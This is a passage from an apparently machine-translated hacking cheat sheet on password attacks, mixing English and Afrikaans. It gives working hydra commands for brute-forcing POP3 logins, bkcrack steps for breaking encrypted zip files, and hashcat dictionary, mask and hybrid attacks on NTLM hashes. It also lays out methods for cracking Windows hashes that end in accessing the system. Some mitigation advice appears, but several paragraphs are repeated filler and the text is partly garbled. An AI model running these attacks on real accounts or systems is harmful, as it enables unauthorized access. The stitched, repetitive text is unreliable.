POP

Brute Force

Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but effective against weak passwords. Tools like Hydra and Medusa can automate the process.

Dictionary Attack

A dictionary attack uses a predefined list of words to try as passwords. This method is more efficient than brute force as it targets common passwords first. Tools like John the Ripper and Hashcat are commonly used for dictionary attacks.

Rainbow Table Attack

Rainbow table attacks use precomputed tables of hashed passwords to crack passwords quickly. This method is faster than brute force and dictionary attacks. Tools like Ophcrack and RainbowCrack are used for rainbow table attacks.

Credential Stuffing

Credential stuffing involves using automated tools to try large numbers of username/password combinations obtained from previous data breaches. This method relies on users reusing passwords across different accounts. Tools like Sentry MBA and SNIPR are used for credential stuffing attacks.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

PostgreSQL

Brute Force

Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be effective but is time-consuming and resource-intensive. It is important to use strong, complex passwords to mitigate the risk of a successful brute force attack.

Brute Force Protection

To protect against brute force attacks, consider implementing the following measures:

  • Lockout Policies: Implement lockout policies that lock out users after a certain number of failed login attempts.
  • Account Lockout: Automatically lock user accounts after multiple failed login attempts to prevent further unauthorized access.
  • Strong Passwords: Enforce the use of strong, complex passwords that are difficult to guess.
  • Multi-Factor Authentication (MFA): Implement MFA to add an extra layer of security beyond just a password.
  • Monitoring: Regularly monitor login attempts and look for any unusual patterns that may indicate a brute force attack in progress.

By implementing these measures, you can significantly reduce the risk of a successful brute force attack on your PostgreSQL database.

Rexec

Brute Force

Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other techniques, such as social engineering or exploiting vulnerabilities, are not successful. Brute force attacks can be time-consuming but are effective if the passwords are weak or easily guessable.

Mitigation

To mitigate brute force attacks, it is essential to use strong and complex passwords, implement account lockout policies, and use multi-factor authentication. Additionally, monitoring login attempts and setting up intrusion detection systems can help detect and prevent brute force attacks. Regularly updating systems and software can also help prevent vulnerabilities that attackers may exploit during a brute force attack.

Bekende platte tekst zip-aanval

Jy moet die platte teks (of 'n deel van die platte teks) van 'n lêer wat binne die versleutelde zip lê, ken. Jy kan lêernaam en grootte van lêers wat binne 'n versleutelde zip bevat, nagaan deur: 7z l encrypted.zip uit te voer.
Laai bkcrack van die vrystellingsbladsy af.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

Brute-force attacks against encrypted 7z files can be time-consuming and resource-intensive, especially if the password is long and complex. Tools like 7z2hashcat can be used to convert 7z files to a format that hashcat can understand, allowing for faster password cracking using GPU acceleration. Additionally, using a good wordlist or rules with hashcat can significantly increase the chances of successfully cracking the password.

Brute-force attacks are commonly used to crack passwords by trying all possible combinations until the correct one is found. These attacks can be time-consuming but are often successful if the password is not strong enough. Tools like Hydra and Medusa are popular for conducting brute-force attacks.

Hashcat

Hashcat aanvalle

  • Woordelys aanval (-a 0) met reëls

Hashcat kom reeds met 'n gids wat reëls bevat, maar jy kan ander interessante reëls hier vind.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Woordelys kombinasie aanval

Dit is moontlik om 2 woordelyste in 1 te kombineer met hashcat.
As lys 1 die woord "hello" bevat en die tweede 2 reëls met die woorde "world" en "earth" bevat. Die woorde helloworld en helloearth sal gegenereer word.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Mask aanval (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Woordelys + Masker (-a 6) / Masker + Woordelys (-a 7) aanval
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Brute Forcing Linux Hashes - /etc/shadow lêer

Brute forcing is 'n aanvalstegniek wat gebruik word om wagwoorde te agterhaal deur verskeie kombinasies te probeer. Vir Linux-stelsels kan die /etc/shadow-lêer wagwoordhashe bevat wat deur brute force aangeval kan word. Dit is belangrik om sterk, onkraakbare wagwoorde te gebruik om hierdie tipe aanvalle te voorkom.

Brute Force

Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack Windows hashes.

Tools

There are several tools available for performing brute force attacks on Windows hashes, including:

  • John the Ripper: A popular password cracking tool that can be used for Windows hashes.
  • Hashcat: Another powerful tool for cracking passwords, including Windows hashes.
  • Hydra: A versatile password-cracking tool that supports various protocols, including SMB (used by Windows).

Methodology

  1. Obtain the Windows hash that you want to crack.
  2. Choose a suitable tool for performing the brute force attack.
  3. Configure the tool with the necessary parameters, such as the hash type and character set.
  4. Start the brute force attack and wait for the tool to find the correct key or password.
  5. Once the correct key or password is found, use it to access the Windows system.

By following this methodology, you can effectively crack Windows hashes using brute force techniques.

Brute Force

Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack common application hashes.

Tools and Resources

  • Hashcat: A popular password cracking tool that supports multiple hashing algorithms.
  • John the Ripper: Another widely used password cracking tool that can perform brute force attacks.
  • CrackStation: An online database containing millions of pre-computed hashes for common passwords.
  • Rainbow Tables: Precomputed tables used to crack password hashes more quickly than traditional brute force methods.

Methodology

  1. Generate Hashes: Obtain the hash of the target password or key.
  2. Select Tool: Choose a suitable password cracking tool such as Hashcat or John the Ripper.
  3. Configure Tool: Set the tool to perform a brute force attack using the appropriate hashing algorithm.
  4. Start Attack: Initiate the brute force attack and let the tool systematically check all possible keys or passwords.
  5. Crack Password: Once the correct key or password is found, the hash is cracked, and the plaintext password is revealed.

By following this methodology and utilizing the right tools, hackers can effectively crack common application hashes using brute force attacks.
